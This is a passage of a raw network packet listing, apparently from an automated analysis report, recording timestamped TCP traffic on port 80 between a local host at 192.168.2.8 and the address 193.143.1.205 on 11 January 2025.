Jan 11, 2025 02:36:26.687843084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.687865019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.687886000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.687896013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.687932014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.720659018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.720679998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.720693111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.720747948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.753040075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.753057957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.753077030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.753089905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.753101110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.753115892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.753150940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.753171921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.753181934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.753231049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.753298044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.753309011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.753319979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.753345966 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.753408909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.753422022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.753433943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.753449917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.753478050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.753478050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.753490925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.753525972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.753703117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.753714085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.753725052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.753736973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.753747940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.753772020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.753859997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.753907919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.753918886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.754015923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.754026890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.754039049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.754050016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.754076958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.754095078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.754183054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.754194021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.754225969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.754283905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.754288912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.754384995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.754400969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.754411936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.754417896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.754424095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.754467010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.754553080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.754565001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.754575968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.754595995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.754618883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.785897017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.785917997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.785931110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.785943985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.785983086 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.785999060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.786012888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.786020041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.786056042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.786273003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.786317110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.786345959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.786350012 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.786421061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.786432028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.786457062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.786485910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.786523104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.786524057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.786534071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.786555052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.786567926 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.786593914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.786629915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.786643982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.786679983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.786691904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.786711931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.786753893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.786793947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.786911011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.786930084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.786947012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.786963940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.787000895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.787045002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.787059069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.787106991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.787118912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.787143946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.787185907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.787197113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.787224054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.787456989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.787471056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.787482023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.787497044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.787516117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.787590027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.787602901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.787646055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.787674904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.787687063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.787698030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.787708998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.787720919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.787722111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.787741899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.787874937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.787887096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.787899017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.787911892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.787913084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.787930965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.788120031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.788140059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.788151979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.788163900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.788184881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.788234949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.812180042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.812201023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.812212944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.812252045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.812285900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.844501972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.844530106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.844541073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.844572067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.844584942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.844598055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.844650030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.844679117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.844696045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.844784021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.844795942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.844806910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.844830990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.844851971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.844860077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.844877958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.844955921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.844994068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.844995022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.845006943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.845047951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.845091105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.845102072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.845139980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.845155001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.845199108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.845210075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.845236063 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.845278978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.845312119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.845319986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.845323086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.845361948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.845484018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.845515966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.845526934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.845560074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.845633984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.845645905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.845657110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.845674992 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.845695972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.845756054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.845767021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.845777035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.845802069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.845927954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.845973969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.845980883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.845985889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.846024036 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.846060038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.846071959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.846082926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.846112967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.846199989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.846210957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.846221924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.846232891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.846244097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.846271038 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.846422911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.846471071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.846476078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.877387047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.877413034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.877424955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.877434969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.877446890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.877470016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.877513885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.877563000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.877574921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.877629995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.877739906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.877788067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.877821922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.877898932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.877909899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.877921104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.877954006 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.877986908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878000021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878026962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.878053904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878065109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878103971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878104925 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.878114939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878135920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878144979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.878175974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.878197908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878211021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878252029 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.878279924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878292084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878339052 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.878367901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878436089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878448963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878478050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.878541946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878582954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878588915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.878599882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878611088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878633022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.878706932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878748894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.878770113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878781080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878793001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878803015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878820896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.878839970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.878969908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.878989935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.879040956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.879062891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.879075050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.879121065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.879208088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.879220009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.879231930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.879259109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.879368067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.879379988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.879390955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.879403114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.879410028 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.879414082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.879426003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.879439116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.879476070 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.882241964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.882299900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.882426023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.882438898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.882450104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.882462025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.882473946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.882476091 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.882512093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.903740883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.903757095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.903768063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.903780937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.903790951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.903803110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.903939962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.903939962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.936081886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.936110020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.936120987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.936184883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.936233997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.936253071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.936284065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.936292887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.936331987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.936341047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.936343908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.936386108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.965575933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.970525980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.970541954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.970552921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.970571995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.970582962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.970583916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.970596075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.970608950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.970633984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.970648050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.970768929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.970779896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.970791101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.970802069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.970813990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.970820904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.970841885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.970873117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.971038103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971050978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971060991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971072912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971084118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971091986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.971095085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971107006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971112013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.971117973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971128941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971142054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971143007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.971160889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.971182108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.971460104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971472025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971482992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971493006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.971504927 CET	80	49704	193.143.1.205	192.168.2.8
